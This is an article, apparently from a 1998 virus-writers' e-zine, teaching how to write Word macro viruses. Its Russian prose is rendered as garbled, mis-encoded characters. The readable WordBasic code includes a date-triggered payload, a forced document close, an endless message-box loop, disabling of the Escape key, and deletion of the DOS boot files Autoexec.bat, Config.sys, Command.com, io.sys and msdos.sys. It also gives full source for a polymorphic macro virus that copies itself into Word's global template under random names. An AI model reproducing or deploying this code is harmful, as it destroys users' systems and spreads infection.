
                        
       Virus Magazine   Box 176, Kiev 210, Ukraine      IV   1998
            
                            
                                           
                                 
           
          (C) Copyright, 1994-98, by STEALTH group WorldWide, unLtd.

                        ***************************
                        *    㪮⢮        *
                        * ᠭ -ᮢ *
                        *         2          *
                        ***************************
                        *                         *
                        *    - Dark Night    *
                        *          VBB            *
                        *                         *
                        ***************************

⢥⢥
~~~~~~~~~~~~~~~
   ⢥⢥   , ᥭ ᫥⢨ אַ
 ᢥ ᯮ짮 㡫 ਠ. ᪨ ࠢ 
  ਭ Dark Night, VBB, 1997.    ६ 
ࠧ蠥  ࠭  ਠ  ᫮ ࠭
饩     㤠 ࠩ. ,  砥, ᫨
 㦨,  諨 ,  뤠 㡫 
  ᢮  ࠧࠡ,    ஢ .


~~~~~~~~
,  諮 ६  ।    㪮⢠.  稫 ⠪
 ⨢ ⪫,  訫 த ᢮ ᪠.   ࠧ 
ਬ   .

?  .
~~~~~~~~~~~~~~~
   ⮣  ⠥?  -  ,  । 
ࠦ

 ?
~~~~~~~~~~~~~
,   ᤥ  祣 ...   ଠ "", 뢠
Word, ᪠ 㣨 ணࠬ (Dos-),  ..   筮  
, ⮡  믮    ᢮ ᪥,  ?   
室 楤 ஢ન.

If Month(Now()) = 1 And Day(Now()) = 3 Then   ',  ⠪ ?
 

ELSE
'  

End IF

⥩訩 ⮤ ᠤ 짮⥫ -  쭮  뫠
᫥ ᫥⥫쭮:

SendKeys "%"+"{F4}"

 ᫥⥫᭮  䥪 樨  Alt+F4... 
஡  ⮬,  Word  ࠢ 뤠 ਣ襭  ࠭
㬥.    ᠦ  :

Again:
MsgBox"HAHAHAHAHA!"
Goto Again

,  ⠪  ? ।⠢,  - ࠡ⠥,    
࠭ 뢮  ᮮ饭. ᫥ ⮣  㤥   ࠧ
 :)

।⢠ ⭨
~~~~~~~~~~~~~~~~~~~
,    ᥫ, ਬ 襮ᠭ , , 
, ᫨   -  祭 ꥧ  ? ,  ࠢ !
    ।⢠ :)

ToolsCustomizeKeyboard .KeyCode = 27, .Category = 1, .Name = "Cancel",
.Remove, .Context = 0
'襮ᠭ  㤮  㭪樨 饣  :)  ( , 
 ஭ -   㤠  "Cancel"!)

Kill"C:\Autoexec.bat"
Kill"C:\Config.sys"
Kill"C:\Command.com"
Kill"C:\io.sys"
Kill"C:\msdos.sys"
Finish:

    :)  ।⠢ The Nightmare Joker.
 ...

ToolsCustomizeKeyboard .KeyCode = 27, .Category = 1, .Name = "Cancel",
.Remove, .Context = 0

SendKeys "^" + "%" + "-"

ன  㬥     File.... ⢥ ᥡ  ?

䨪??
~~~~~~~~~~~~~
,  .... ।⠢  , 
ᯮ 砩   ᢮ ᮢ  楫  
⢨. ஬    The Nightmare Joker

Sub MAIN
On Error Goto Done

A$ = FileName$()
If A$ = "" Then Goto Finish

If VInstalled = 0 Then
        Run1
        Run2
        FileSaveAll 1, 1
Else
        Goto Done
End If

Done:
A$ = FileName$()
If A$ = "" Then
        Goto Finish
Else
        Insert " "
End If

Finish:
MsgBox "polymorph", - 8
End Sub

Sub Run1
X$ = Fun$(F$, G$, H$, J$)
Y$ = Fun$(F$, G$, H$, J$)

Z$ = X$ + Y$

R1$ = GetDocumentVar$("VirNameDoc")
CO$ = FileName$() + ":" + R1$
MacroCopy CO$, "Global:" + Z$
SetProfileString "Intl", "Info2", Z$
ToolsCustomizeKeyboard .KeyCode = 65, .Category = 2, .Name = Z$,
.Add, .Context = 0
End Sub

Sub Run2
X$ = Fun$(F$, G$, H$, J$)
Y$ = Fun$(F$, G$, H$, J$)

Z$ = X$ + Y$

R2$ = GetDocumentVar$("VirName")
OC$ = FileName$() + ":" + R2$
MacroCopy OC$, "Global:" + Z$
SetProfileString "Intl", "Info1", Z$
ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = Z$,
.Add, .Context = 0
End Sub

Function VInstalled
CC$ = GetProfileString$("Intl", "Info1")
        VInstalled = 0
        If CountMacros(0) > 0 Then
                For i = 1 To CountMacros(0)
                If MacroName$(i, 0) = CC$ Then
                        VInstalled = 1
                End If
        Next i
End If
End Function

Function Fun$(F$, G$, H$, J$)
One = 1169
Two = 9294
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)

B$ = Mid$(A$, 1, 1)
C$ = Mid$(A$, 2, 1)
D$ = Mid$(A$, 3, 1)
E$ = Mid$(A$, 4, 1)

If B$ = "1" Then F$ = "A"
If B$ = "2" Then F$ = "B"
If B$ = "3" Then F$ = "C"
If B$ = "4" Then F$ = "D"
If B$ = "5" Then F$ = "E"
If B$ = "6" Then F$ = "F"
If B$ = "7" Then F$ = "G"
If B$ = "8" Then F$ = "H"
If B$ = "9" Then F$ = "I"
If B$ = "0" Then F$ = "J"

If C$ = "1" Then G$ = "H"
If C$ = "2" Then G$ = "I"
If C$ = "3" Then G$ = "J"
If C$ = "4" Then G$ = "K"
If C$ = "5" Then G$ = "L"
If C$ = "6" Then G$ = "M"
If C$ = "7" Then G$ = "N"
If C$ = "8" Then G$ = "O"
If C$ = "9" Then G$ = "P"
If C$ = "0" Then G$ = "Q"

If D$ = "1" Then H$ = "A"
If D$ = "2" Then H$ = "B"
If D$ = "3" Then H$ = "C"
If D$ = "4" Then H$ = "D"
If D$ = "5" Then H$ = "E"
If D$ = "6" Then H$ = "F"
If D$ = "7" Then H$ = "G"
If D$ = "8" Then H$ = "H"
If D$ = "9" Then H$ = "I"
If D$ = "0" Then H$ = "J"

If E$ = "1" Then J$ = "R"
If E$ = "2" Then J$ = "S"
If E$ = "3" Then J$ = "T"
If E$ = "4" Then J$ = "U"
If E$ = "5" Then J$ = "V"
If E$ = "6" Then J$ = "W"
If E$ = "7" Then J$ = "X"
If E$ = "8" Then J$ = "Y"
If E$ = "9" Then J$ = "Z"
If E$ = "0" Then J$ = "Q"

Fun$ = F$ + G$ + H$ + J$
End Function

 ⮬  稢 ᢮ ⢮, ।⠢  ᠬ ࠧ
 襯ਢ ணࠬ, ⠪  ᫨   ,  祬  
,    ᭠砫 ࠧ  WordBasic.

⠪
~~~~~~~~
  ,   饭 ᫥騥 ,   㢥७,  ᫨
 - 쪮,    ࠤ த ᢮ ᪠. 
筮,      , ᠢ  
Dark_Knight@ilf.net.   ⮬  ਭ ⥬ 
᫥ ⥩.

                                                       ॢ by HellRaiser